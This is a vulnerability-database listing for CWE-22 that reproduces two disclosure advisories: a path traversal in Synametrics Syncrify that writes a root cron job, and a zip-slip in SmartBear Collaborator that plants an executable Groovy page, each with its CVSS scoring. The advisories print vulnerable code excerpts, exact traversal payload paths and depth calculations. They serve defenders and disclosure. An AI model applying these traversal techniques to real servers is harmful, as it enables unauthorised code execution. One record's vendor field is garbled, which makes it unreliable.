Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15969 vulnerabilities reference this CWE, most recent first.

GCVE-1988-2026-0492

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Synametrics Syncrify 6.2 build 1178, the closed-source incremental backup and file-replication server from Synametrics Technologies, Inc. (United States). The product is written in Java, distributed for Linux as a tarball archive, and served by an embedded Tomcat 9.0.113 through the vendor's in-house sradef framework, whose single front controller routes every request as /app?operation=<op>&st=<step> to a handler registered in WorkerMappings.xml. Type and root cause. Path traversal, CWE-22 primary, with CWE-269 improper privilege management and CWE-78 OS command injection as contributing classifications that describe the deployment shape converting a file write into an execution rather than a defect inside the application. The PublicLink handler, operation=pb, implements the server's PublicLink client protocol. Its chunked-upload branch, selected by st=u, reads a length-prefixed binary frame straight from request.getInputStream(), which means the server's parameter parsing, form decoding and any framework-level parameter validation are all bypassed by construction: the field that decides the write destination is not a parameter. At PublicLink.java:70-110 the decompiled method reads four big-endian int32 values and one length-prefixed UTF-8 string, then does this: int protocol = readInt(in); // 4-byte big-endian int chunkNumber = readInt(in); // read, then not used to bound // or place the write int totalChunks = readInt(in); // read, then not used either int size = readInt(in); // declared length of the body String filename = readString(in); // [int32 len][UTF-8 bytes], // attacker-controlled File base = E(); // this user's PublicLinks folder File target = new File(base, filename); if (!target.getParentFile().exists()) { target.getParentFile().mkdirs(); } BufferedOutputStream out = new BufferedOutputStream( new FileOutputStream(target, true)); // append mode byte[] buf = new byte[size]; readFully(buf); out.write(buf); out.close(); return 0; // 0 means success to the caller new File(base, filename) is reached with no rejection of "..", no rejection of path separators, no base-name extraction and no canonical containment check. base is /opt/Syncrify/PublicLinks/<user>/<generated-folder>, five components below the filesystem root, so a chunk name of ../../../../../etc/cron.d/<name> leaves the per-user PublicLinks folder and lands a cron fragment, creating any missing parent directory on the way because of the mkdirs() call. The branch returns 0, f() at PublicLink.java:127 converts that into the client reply code="1" with <payload>0</payload>, and the host cron daemon then reads the fragment as a root-authored job definition and runs its command field through a shell on the next minute boundary. The application itself never constructs, quotes or invokes a command line, and every execution site in the product uses an argument vector with no shell, so this could not have been fixed by argument hygiene at the application layer; the execution happens one component later. The identity reached was observed rather than inferred, and it is uid=0(root) gid=0(root) groups=0(root). Two independent artifacts establish that the writer process held uid 0: the fragment landed as -rw-r--r-- 1 root root at mode 0644, and a file's owner after creation is the effective uid of the process that created it; and the scheduled job's own output reported uid 0, the fragment naming root in its user field, which a scheduler will not honour for a job file it does not already trust. What makes this an oversight rather than a design decision is the asymmetry with the rest of the same tree. Three sibling families in the same product, written against the same client protocol, check the same kind of field and reject the same kind of content: the profile-upload, profile-fetch and file-splitter handlers refuse names containing path separators by testing character codes with indexOf(47) and indexOf(92); the multipart upload path collapses the client-supplied name through getName() of a constructed File, which discards every directory component; and the download path runs the name through indexOf("..") and answers 404 on a match. The chunk-upload branch calls none of them. When one member of a family omits the defense all of its siblings implement, the economical explanation is that the check was not written rather than that it lives somewhere else. There is also no decoding step between the socket and the constructor on this branch, so no encoding trick is involved and none is needed: what the client puts in the frame is what the path is built from. How confirmation works, and what was deliberately not reproduced. Confirmation is by host-side artifacts, not by the HTTP reply, and that distinction matters. The reply is a success oracle, so an attacker learns from the network alone that a write was accepted and can iterate on naming from there, but a successful reply is not proof of a successful destination: the code never inspects the resolved path, so a wrong traversal depth still yields code="1" and simply writes somewhere else with intermediate directories created as needed. The read-back of the marker file is the only sufficient signal. Four controls were exercised and the published tool automates one of them. A traversing name and a non-traversing name were driven through identical authentication, identical framing and the identical route in the same session; the benign write was accepted and landed inside the user's own PublicLinks folder, and the assertion that neither the cron fragment path nor the marker path existed is what isolates the traversal as the cause of the outcome and of nothing else. A sibling-handler control confirmed at the Java level that the multipart family's getName() collapse, applied to a traversing name against the same PublicLinks base, returns the bare final component and keeps the write inside the root. A dispatch control built against st=f instead reached a different void E() overload at PublicLink.java:951 that parses a request parameter named ed as a Long and performed no write anywhere; that control is what fixed the sink to this branch rather than to the handler in general, since an initial static reading had attributed the upload to st=f and the request built on that reading produced no file at all. Authentication controls established that the credential gate is live. The published advisory reproduces the identity string and the frame field lengths derived from the field values, but deliberately not the run's own byte capture, which was not preserved; not the generated PublicLinks folder name, which embeds the run's timestamp; not the credential pair, which are mandatory tool arguments with no default; and not the per-run fragment name or the marker path. The payload was an identity capture into a marker file. No repository data was read, no product file was modified or deleted, and the fragment and the marker were removed after verification together with stopping the service. Scoring. One score is published: 7.5 High, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. The arithmetic is shown so any reader can reproduce it with the CVSS 3.1 base algorithm and its round-up-to-the-tenth rule: ISS = 1 - (0.44 x 0.44 x 0.44) = 0.914816; Impact for S:U = 6.42 x 0.914816 = 5.873119; Exploitability = 8.22 x 0.85 x 0.44 x 0.62 x 0.85 = 1.620146; Base = Roundup(5.873119 + 1.620146) = Roundup(7.493265) = 7.5. AV:N is the honest classification of the component because the vulnerable component is an HTTP handler on a network-bound servlet connector and the credential it accepts exists precisely so that remote backup clients can use it; the deployment-dependent exposure of that listener is priced in attack complexity rather than smuggled into the attack vector. AC:H carries two conditions outside the attacker's control: that the listener carrying this route be reachable from the attacker's position, and that the host run a scheduler that scans /etc/cron.d. PR:L records that the least privileged principal proven sufficient is an authenticated backup user, the product's lowest-trust account type. Scope is Unchanged, for the identity reason given below. A conditional reading of 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, is published alongside it and is labelled conditional everywhere it appears. It applies only where the listener carrying /app?operation= is reachable from the attacker's network position, which is the normal operating mode for a backup server whose clients push data to it remotely, and it removes the first of the two AC:H conditions by assuming that deployment posture. It computes as Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.835255, Base = Roundup(5.873119 + 2.835255) = Roundup(8.708374) = 8.8. The published score is 7.5 and never 8.8; a reader whose deployment keeps the portal on a management network should read the 7.5. Two further readings are published as explicitly rejected, both with their arithmetic, so that a reader who disagrees with either call can see exactly what it is worth rather than take our word for it. The changed-scope variant of the same metrics, 8.6 High, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H, is rejected because the identity reached is the same root identity the server process already holds on the same host, so no component authority boundary is crossed by the outcome: the server process is root over this host by construction of the deployment, and the compromised scheduler and the compromised server sit inside one authority domain. Its arithmetic: Impact for S:C = 7.52 x (0.914816 - 0.029) - 3.25 x (0.914816 x 0.9731 - 0.02)^13 = 6.661336 - 0.533310 = 6.128026; Exploitability with PR at the S:C value of 0.68 = 8.22 x 0.85 x 0.44 x 0.68 x 0.85 = 1.776934; Base = Roundup(1.08 x (6.128026 + 1.776934)) = Roundup(8.537357) = 8.6. The privilege gain in this finding is real and substantial, and it is expressed by the metrics meant to carry it, PR:L for the low-trust principal and C:H/I:H/A:H for the totality of what root on this host controls; Scope is not the vehicle for expressing privilege distance and using it that way would double-count the same fact. The second rejected reading is the one we want readers to notice, because it is the one that could most easily be misused in our favour. Treating the loopback binding we observed in our own testbed as though it were the shipped default yields 7.8 High, CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H: Exploitability = 8.22 x 0.55 x 0.77 x 0.62 x 0.85 = 1.834577, Base = Roundup(5.873119 + 1.834577) = Roundup(7.707696) = 7.8. We reject it, and rejecting it lowers the number we publish by 0.3 rather than raising it. That rejected local-vector reading of 7.8 is higher than the 7.5 we publish at AV:N. So the rejection is not a scoring maneuver and cannot be read as one: choosing AV:N with AC:H is the conservative reading on this finding, and a reader who disagrees with us about the factory default of that binding ends up with a larger figure than ours, not a smaller one. The advisory says this itself, in those terms. The reason for the rejection is evidential rather than convenient: that loopback binding was applied by us, in the configuration, before any testing began, so that the host carried no public exposure while research was in progress, and we hold no shipped artifact, no configuration template, no installer script excerpt and no documentation quotation, that states the factory value of that binding in either direction. Not that it binds publicly by default, and not that it binds loopback by default: the premise is unestablished by artifact, which is exactly why the attack comple
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
Synametrics Syncrify Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Syncrify",
          "vendor": "Synametrics",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Synametrics\nSyncrify 6.2 build 1178, the closed-source incremental backup and\nfile-replication server from Synametrics Technologies, Inc. (United States). The\nproduct is written in Java, distributed for Linux as a tarball archive, and\nserved by an embedded Tomcat 9.0.113 through the vendor\u0027s in-house sradef\nframework, whose single front controller routes every request as\n/app?operation=\u003cop\u003e\u0026st=\u003cstep\u003e to a handler registered in WorkerMappings.xml.\n\nType and root cause. Path traversal, CWE-22 primary, with CWE-269 improper\nprivilege management and CWE-78 OS command injection as contributing\nclassifications that describe the deployment shape converting a file write into\nan execution rather than a defect inside the application. The PublicLink\nhandler, operation=pb, implements the server\u0027s PublicLink client protocol. Its\nchunked-upload branch, selected by st=u, reads a length-prefixed binary frame\nstraight from request.getInputStream(), which means the server\u0027s parameter\nparsing, form decoding and any framework-level parameter validation are all\nbypassed by construction: the field that decides the write destination is not a\nparameter. At PublicLink.java:70-110 the decompiled method reads four big-endian\nint32 values and one length-prefixed UTF-8 string, then does this:\n\n    int protocol    = readInt(in);     // 4-byte big-endian\n    int chunkNumber = readInt(in);     // read, then not used to bound\n                                       // or place the write\n    int totalChunks = readInt(in);     // read, then not used either\n    int size        = readInt(in);     // declared length of the body\n    String filename = readString(in);  // [int32 len][UTF-8 bytes],\n                                       // attacker-controlled\n\n    File base   = E();                 // this user\u0027s PublicLinks folder\n    File target = new File(base, filename);\n    if (!target.getParentFile().exists()) {\n        target.getParentFile().mkdirs();\n    }\n    BufferedOutputStream out = new BufferedOutputStream(\n        new FileOutputStream(target, true));   // append mode\n    byte[] buf = new byte[size];\n    readFully(buf);\n    out.write(buf);\n    out.close();\n    return 0;                          // 0 means success to the caller\n\nnew File(base, filename) is reached with no rejection of \"..\", no rejection of\npath separators, no base-name extraction and no canonical containment check.\nbase is /opt/Syncrify/PublicLinks/\u003cuser\u003e/\u003cgenerated-folder\u003e, five components\nbelow the filesystem root, so a chunk name of ../../../../../etc/cron.d/\u003cname\u003e\nleaves the per-user PublicLinks folder and lands a cron fragment, creating any\nmissing parent directory on the way because of the mkdirs() call. The branch\nreturns 0, f() at PublicLink.java:127 converts that into the client reply\ncode=\"1\" with \u003cpayload\u003e0\u003c/payload\u003e, and the host cron daemon then reads the\nfragment as a root-authored job definition and runs its command field through a\nshell on the next minute boundary. The application itself never constructs,\nquotes or invokes a command line, and every execution site in the product uses\nan argument vector with no shell, so this could not have been fixed by argument\nhygiene at the application layer; the execution happens one component later.\n\nThe identity reached was observed rather than inferred, and it is uid=0(root)\ngid=0(root) groups=0(root). Two independent artifacts establish that the writer\nprocess held uid 0: the fragment landed as -rw-r--r-- 1 root root at mode 0644,\nand a file\u0027s owner after creation is the effective uid of the process that\ncreated it; and the scheduled job\u0027s own output reported uid 0, the fragment\nnaming root in its user field, which a scheduler will not honour for a job file\nit does not already trust.\n\nWhat makes this an oversight rather than a design decision is the asymmetry\nwith the rest of the same tree. Three sibling families in the same product,\nwritten against the same client protocol, check the same kind of field and\nreject the same kind of content: the profile-upload, profile-fetch and\nfile-splitter handlers refuse names containing path separators by testing\ncharacter codes with indexOf(47) and indexOf(92); the multipart upload path\ncollapses the client-supplied name through getName() of a constructed File,\nwhich discards every directory component; and the download path runs the name\nthrough indexOf(\"..\") and answers 404 on a match. The chunk-upload branch calls\nnone of them. When one member of a family omits the defense all of its siblings\nimplement, the economical explanation is that the check was not written rather\nthan that it lives somewhere else. There is also no decoding step between the\nsocket and the constructor on this branch, so no encoding trick is involved and\nnone is needed: what the client puts in the frame is what the path is built\nfrom.\n\nHow confirmation works, and what was deliberately not reproduced. Confirmation\nis by host-side artifacts, not by the HTTP reply, and that distinction matters.\nThe reply is a success oracle, so an attacker learns from the network alone that\na write was accepted and can iterate on naming from there, but a successful\nreply is not proof of a successful destination: the code never inspects the\nresolved path, so a wrong traversal depth still yields code=\"1\" and simply\nwrites somewhere else with intermediate directories created as needed. The\nread-back of the marker file is the only sufficient signal. Four controls were\nexercised and the published tool automates one of them. A traversing name and a\nnon-traversing name were driven through identical authentication, identical\nframing and the identical route in the same session; the benign write was\naccepted and landed inside the user\u0027s own PublicLinks folder, and the assertion\nthat neither the cron fragment path nor the marker path existed is what isolates\nthe traversal as the cause of the outcome and of nothing else. A sibling-handler\ncontrol confirmed at the Java level that the multipart family\u0027s getName()\ncollapse, applied to a traversing name against the same PublicLinks base,\nreturns the bare final component and keeps the write inside the root. A dispatch\ncontrol built against st=f instead reached a different void E() overload at\nPublicLink.java:951 that parses a request parameter named ed as a Long and\nperformed no write anywhere; that control is what fixed the sink to this branch\nrather than to the handler in general, since an initial static reading had\nattributed the upload to st=f and the request built on that reading produced no\nfile at all. Authentication controls established that the credential gate is\nlive. The published advisory reproduces the identity string and the frame field\nlengths derived from the field values, but deliberately not the run\u0027s own byte\ncapture, which was not preserved; not the generated PublicLinks folder name,\nwhich embeds the run\u0027s timestamp; not the credential pair, which are mandatory\ntool arguments with no default; and not the per-run fragment name or the marker\npath. The payload was an identity capture into a marker file. No repository data\nwas read, no product file was modified or deleted, and the fragment and the\nmarker were removed after verification together with stopping the service.\n\nScoring. One score is published: 7.5 High,\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. The arithmetic is shown so any\nreader can reproduce it with the CVSS 3.1 base algorithm and its\nround-up-to-the-tenth rule: ISS = 1 - (0.44 x 0.44 x 0.44) = 0.914816; Impact\nfor S:U = 6.42 x 0.914816 = 5.873119; Exploitability = 8.22 x 0.85 x 0.44 x\n0.62 x 0.85 = 1.620146; Base = Roundup(5.873119 + 1.620146) =\nRoundup(7.493265) = 7.5. AV:N is the honest classification of the component\nbecause the vulnerable component is an HTTP handler on a network-bound servlet\nconnector and the credential it accepts exists precisely so that remote backup\nclients can use it; the deployment-dependent exposure of that listener is priced\nin attack complexity rather than smuggled into the attack vector. AC:H carries\ntwo conditions outside the attacker\u0027s control: that the listener carrying this\nroute be reachable from the attacker\u0027s position, and that the host run a\nscheduler that scans /etc/cron.d. PR:L records that the least privileged\nprincipal proven sufficient is an authenticated backup user, the product\u0027s\nlowest-trust account type. Scope is Unchanged, for the identity reason given\nbelow.\n\nA conditional reading of 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,\nis published alongside it and is labelled conditional everywhere it appears. It\napplies only where the listener carrying /app?operation= is reachable from the\nattacker\u0027s network position, which is the normal operating mode for a backup\nserver whose clients push data to it remotely, and it removes the first of the\ntwo AC:H conditions by assuming that deployment posture. It computes as\nExploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.835255, Base =\nRoundup(5.873119 + 2.835255) = Roundup(8.708374) = 8.8. The published score is\n7.5 and never 8.8; a reader whose deployment keeps the portal on a management\nnetwork should read the 7.5.\n\nTwo further readings are published as explicitly rejected, both with their\narithmetic, so that a reader who disagrees with either call can see exactly what\nit is worth rather than take our word for it. The changed-scope variant of the\nsame metrics, 8.6 High,\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H, is rejected because the identity\nreached is the same root identity the server process already holds on the same\nhost, so no component authority boundary is crossed by the outcome: the server\nprocess is root over this host by construction of the deployment, and the\ncompromised scheduler and the compromised server sit inside one authority\ndomain. Its arithmetic: Impact for S:C = 7.52 x (0.914816 - 0.029) - 3.25 x\n(0.914816 x 0.9731 - 0.02)^13 = 6.661336 - 0.533310 = 6.128026; Exploitability\nwith PR at the S:C value of 0.68 = 8.22 x 0.85 x 0.44 x 0.68 x 0.85 = 1.776934;\nBase = Roundup(1.08 x (6.128026 + 1.776934)) = Roundup(8.537357) = 8.6. The\nprivilege gain in this finding is real and substantial, and it is expressed by\nthe metrics meant to carry it, PR:L for the low-trust principal and C:H/I:H/A:H\nfor the totality of what root on this host controls; Scope is not the vehicle\nfor expressing privilege distance and using it that way would double-count the\nsame fact.\n\nThe second rejected reading is the one we want readers to notice, because it is\nthe one that could most easily be misused in our favour. Treating the loopback\nbinding we observed in our own testbed as though it were the shipped default\nyields 7.8 High, CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H: Exploitability =\n8.22 x 0.55 x 0.77 x 0.62 x 0.85 = 1.834577, Base = Roundup(5.873119 +\n1.834577) = Roundup(7.707696) = 7.8. We reject it, and rejecting it lowers the\nnumber we publish by 0.3 rather than raising it. That rejected local-vector\nreading of 7.8 is higher than the 7.5 we publish at AV:N. So the rejection is\nnot a scoring maneuver and cannot be read as one: choosing AV:N with AC:H is the\nconservative reading on this finding, and a reader who disagrees with us about\nthe factory default of that binding ends up with a larger figure than ours, not\na smaller one. The advisory says this itself, in those terms. The reason for the\nrejection is evidential rather than convenient: that loopback binding was\napplied by us, in the configuration, before any testing began, so that the host\ncarried no public exposure while research was in progress, and we hold no\nshipped artifact, no configuration template, no installer script excerpt and no\ndocumentation quotation, that states the factory value of that binding in either\ndirection. Not that it binds publicly by default, and not that it binds loopback\nby default: the premise is unestablished by artifact, which is exactly why the\nattack comple"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-203",
              "description": "CWE-203",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-269",
              "description": "CWE-269",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:03Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/21"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/synametrics-syncrify-publiclink-chunk-upload-traversal-cron-root-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0492",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/21",
            "automated": true,
            "contentSha256": "0198cf6df4cd4863eb42fe67179edce7b0dcb72d4de85a3d9766e1d1ac4ef071",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-13T02:23:01Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:03Z",
    "dateUpdated": "2026-11-02T07:30:03Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0492"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0490

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in SmartBear Collaborator Server 15.1.15101, the closed-source peer and technical code-review platform from SmartBear that runs as a Java web application on Apache Tomcat. One low-privilege authenticated account plants a Groovy Server Page in the Tomcat webroot through an archive-extraction path traversal, and any anonymous client - a crawler, a scanner, anyone - then executes it with an ordinary GET, yielding operating-system command execution as uid=1001(collab) inside the product's own JVM. Root was not reached, is not claimed, and no privilege escalation was attempted. Read the deployment-shape caveat first, because it decides whether this chain works at all and it is the reason the published headline carries Attack Complexity High. The only shipped artifact this research exercised was the vendor's official container image, and in that image used exactly as shipped THE CHAIN DOES NOT WORK. The image declares the webserver content directory as a VOLUME and the installer never creates that path, so the container runtime creates the mount point itself as drwxr-xr-x owned by root while the service runs as uid 1001; the first filesystem call of the whole feature, Files.createDirectories(destVersionDir.toPath()) at HtmlBaseFilesUploadService.java:77, fails with EACCES before any archive entry is read and no byte is ever written. That block cannot be worked around from inside the product, because setWebserver has exactly one call site, at startup, from the content-webserver context parameter declared at ROOT.xml:92 with override="false". The shape in which the chain does succeed is the native, non-container install, and that shape was never run on a real host: the claim that a native install leaves that directory owned by the service account is a labelled structural inference from the shipped archive, not a measurement. This advisory therefore does not claim that every deployment of this product is exploitable. Type and root cause. CWE-22, path traversal through archive entry names, with CWE-94 (code generation via the *.gsp template mapping), CWE-732, CWE-693, CWE-668 and CWE-916 contributing. The JSON-API command ReviewService.addDoorsFiles accepts a zip archive from any authenticated user and dispatches through ReviewServiceImpl.addZipFiles:969-1001 to the first-party extractor com.smartbear.ccollab.doors.DoorsFilesUploadService.upload. Across that extraction loop the only validation of an entry is that the entry object is not null (:73-75) and the only filter is the keyword list IGNORE_FILES_KEYWORDS = {"__MACOSX"} declared at :63 and applied at :79. The entry name is passed through a cosmetic square-bracket substitution at :77 - Strings.replaceSquareBracketsToRound, which exists to satisfy the downstream DOORS document parser and has nothing to do with paths - and is then concatenated into a destination at :78 with File entryDestination = new File(uploadContext.getDestVersionDir(), fileName); The two-argument File(File, String) constructor concatenates lexically: it does not canonicalise, does not resolve against the base and does not reject parent-directory segments. There is no normalize() call, no startsWith(destDir) containment test, no canonical-path comparison, no rejection of an absolute name, no rejection of a backslash-separated name, no extension allowlist or blocklist on this route, no cap on entry count or cumulative uncompressed size, and no per-object authorisation on the caller-supplied reviewId. Line :83 then creates whatever parent directories the attacker's name implies and line :84 opens the output stream, new FileOutputStream(entryDestination), which is the sink. An entry named ../../../../../webapps/ROOT/<name>.gsp escapes the per-review version directory and lands in the Tomcat webroot. A sibling implementation shares the identical defect and the identical parent class: com.smartbear.ccollab.matlab.SimulinkFilesUploadService.copyFilesFromZip at :186-203 resolves destDir.resolve(zipEntry.getName()).toFile() at :188 with no normalize(), no startsWith(destDir) and no .. rejection, and is reachable from ReviewService.addSimulinkFiles. Its checkArchive at :157-161 constrains only the first entry, which must be named exactly webview.html, and then ignores the rest - a format assertion, not a containment control. One root cause with two code instances is reported here as a single finding; the Simulink instance was never exercised end to end and carries two further gates, so its practical exploitability is strictly weaker and is claimed on source reading only. A restricted-file-pattern check that genuinely exists lives only in the sibling servlet VersionContentUploadServlet:90-93, on the JSON-API-free route, and it validates the version's already-existing paths rather than names inside the archive. The destination geometry is what makes a relative traversal practical instead of theoretical. The shared parent fixes the base: HtmlBaseFilesUploadService builds webServerFolder as <mode>/<reviewId>/<zip name without extension> at :70-71, joins it to SystemGlobals.getWebserver() at :74, and SystemGlobals.java:130 declares that value as the relative string "collaborator-webserver", so it resolves against the JVM working directory, measured as /usr/local/ccollab_server/tomcat. The complete destination is therefore /usr/local/ccollab_server/tomcat/collaborator-webserver/<mode>/<reviewId>/ <zipbase>/ver<N> Every segment is fixed by product logic or returned to the attacker, so the required climb is a deterministic function the attacker can compute: depth = 4 + n, where n is the number of path segments in the declared zip name after stripping .zip, and the constant 4 counts ver<N>, the mode segment, the review identifier and the webserver directory-name segment. Two independent measurements agree with it at two different values of n - five segments for a flat zip name, six for a zip name of the form <dir>/<name>.zip, both markers executing anonymously. Depth must be exact in both directions, and overshooting is not a safety margin: POSIX clamps ".." at the filesystem root, so too many segments turn the target into the absolute path /webapps/ROOT/<name>.gsp and the mandatory pre-write Files.createDirectories at :83 then fails with EACCES with nothing written, while undershooting lands silently inside the content tree, is served behind the authenticated /webserver/* prefix where an anonymous client receives 401, and leaves an attacker file on disk. The execution half is first-party configuration. The ROOT webapp's own web.xml:271-278 maps *.gsp to the upstream groovy.servlet.TemplateServlet on the anonymous surface, so a plain unauthenticated GET of the planted path compiles the page in memory and evaluates it. That is what converts a post-authentication arbitrary file write into code execution triggered by anyone, and it is why the write side and the trigger side sit on opposite sides of the authentication boundary: the party who plants the file and the party who runs it need not be the same. Confirmation, and what was deliberately not reproduced. The chain is self-verifying rather than interpretive: the planted template runs a single read-only identity command and echoes its output into the anonymous response body, together with a Generated by Groovy TemplateServlet timing comment that proves evaluation rather than static serving. The observed identity string was verbatim uid=1001(collab) gid=1001(collab) groups=1001(collab), with an empty effective capability set. The strongest result came from an independently rebuilt container with a different random marker tag, a different non-administrator account and a freshly created review; the reference implementation was then run end to end twice more against a writable-mount instance, so the finding rests on four mutually independent execution records, three of which used values that could not have been carried over from an earlier run. What was deliberately not reproduced: no reverse shell, no persistence, no scanning, no brute force, no mass traversal, no deletion of anything on the target and no write outside the single marker file. The marker template is left in place rather than removed by the tool, because removing it requires container or host access the tool has no business holding, and an explicit manual cleanup instruction is printed instead. Per-run marker tokens, session ticket values and container identities are withheld from the published advisory as artefacts of one execution on one host: tickets are 30-day credentials and were logged out at teardown. Scoring. The published headline is 7.5 High, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, recomputed from first principles with the CVSS 3.1 round-up-to-tenth rule: ISS = 1 - (0.44 * 0.44 * 0.44) = 0.914816; Impact at Scope Unchanged = 6.42 * 0.914816 = 5.87311872; Exploitability = 8.22 * 0.85 * 0.44 * 0.62 * 0.85 = 1.62014556; base = min(7.49326428, 10) = 7.49326428, rounded up to 7.5. Attack Complexity is High on the headline not because the traversal is subtle - it is not, the depth is deterministic, there is no race and there is no state to gather - but because success depends on a condition the attacker neither controls nor can verify from the product: that the upload tree is writable by the service uid. On the one shipped artifact actually exercised, the official container image used exactly as shipped, that condition is false, and on the shape where it is believed to hold it was never observed. Rating exploitability Low on the strength of an installer that was never run would let the headline rest on the one deployment shape that was never tested while the shape that was tested forbids the chain. This is the honest rating, not a pessimistic one: the chain is complete and deterministic wherever the precondition holds and the severity band does not move. One conditional reading is published beside it, labelled as conditional: 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Exploitability = 8.22 * 0.85 * 0.77 * 0.62 * 0.85 = 2.83525473, Impact 5.87311872, base = min(8.70837345, 10) = 8.70837345, rounded up to 8.8. It applies to installations in which the upload tree is writable by the service uid: the native install shape, and any container deployment where that volume was created with service-account ownership or chowned during deployment automation. The argument for Low there is real and runs like this: :77 creates the destination tree itself, on the line before the first archive entry is read, so the precondition is implied by the usability of the attacked feature - any installation in which DOORS review-file upload can return success is an installation in which that tree is already writable by uid 1001, and an attacker who can call addDoorsFiles and get anything other than a permission-derived InternalError is already in the exploitable shape. It is not the headline because those shapes were argued from the archive rather than run. Both readings are High, and neither says this is remotely exploitable without an account. The blocked shape is not handled as an Environmental metric adjustment, because Environmental describes the scorer's own deployment and would leave the base score looking unconditional. A rejected reading is recorded here with a correction to our own arithmetic, so that nobody inherits it. A Scope-Changed candidate - PR:L, S:C and all three impact metrics High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - was carried during analysis and is rejected on the merits: the write and the evaluation happen in the same JVM, the same ROOT web application and the same uid 1001, over directories that account already owns, so no resource under a different security authority is affected; that an anonymous client can pull the trigger is a fact about who pulls it, which Attack Vector and User Interaction already price. The strongest case for Chan
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SmartBear Collaborator Server",
          "vendor": "same weakness class, same vendor, different product line, with shared code",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
